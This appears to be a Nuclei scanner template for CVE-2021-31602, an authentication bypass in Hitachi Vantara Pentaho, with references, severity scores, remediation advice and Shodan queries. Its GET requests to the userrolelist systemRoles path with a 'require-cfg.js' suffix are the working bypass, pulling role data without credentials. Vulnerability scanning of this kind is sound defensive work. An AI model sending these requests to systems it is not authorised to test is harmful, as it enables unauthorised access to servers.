id: CVE-2021-31602

info:
  name: Hitachi Vantara Pentaho/Business Intelligence Server - Authentication Bypass
  author: pussycat0x
  severity: high
  description: Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x are vulnerable to authentication bypass. The Security Model has different layers of Access Control. One of these layers is the applicationContext security, which is defined in the applicationContext-spring-security.xml file. The default configuration allows an unauthenticated user with no previous knowledge of the platform settings to extract pieces of information without possessing valid credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the server.
  remediation: |
    Apply the latest security patches or updates provided by Hitachi Vantara to fix the authentication bypass vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2021/Nov/13
    - https://portswigger.net/daily-swig/remote-code-execution-sql-injection-bugs-uncovered-in-pentaho-business-analytics-software
    - https://hawsec.com/publications/pentaho/HVPENT210401-Pentaho-BA-Security-Assessment-Report-v1_1.pdf
    - https://www.hitachi.com/hirt/security/index.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31602
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-31602
    cwe-id: CWE-287
    epss-score: 0.9277
    epss-percentile: 0.99767
    cpe: cpe:2.3:a:hitachi:vantara_pentaho:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: hitachi
    product: vantara_pentaho
    shodan-query:
      - Pentaho
      - pentaho
  tags: cve2021,cve,spring,seclists,pentaho,auth-bypass,hitachi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pentaho/api/userrolelist/systemRoles?require-cfg.js"
      - "{{BaseURL}}/api/userrolelist/systemRoles?require-cfg.js"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<roleList>'
          - '<roles>Anonymous</roles>'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022064659ea3238d967d06da5515ca6089a5e98a5c8a7016220370201d13e21b3ec2022002e50544f09bc4272a59c1e836f93213200189cae7681353f6c767502156831f:922c64590222798bb761d5b6d8e72950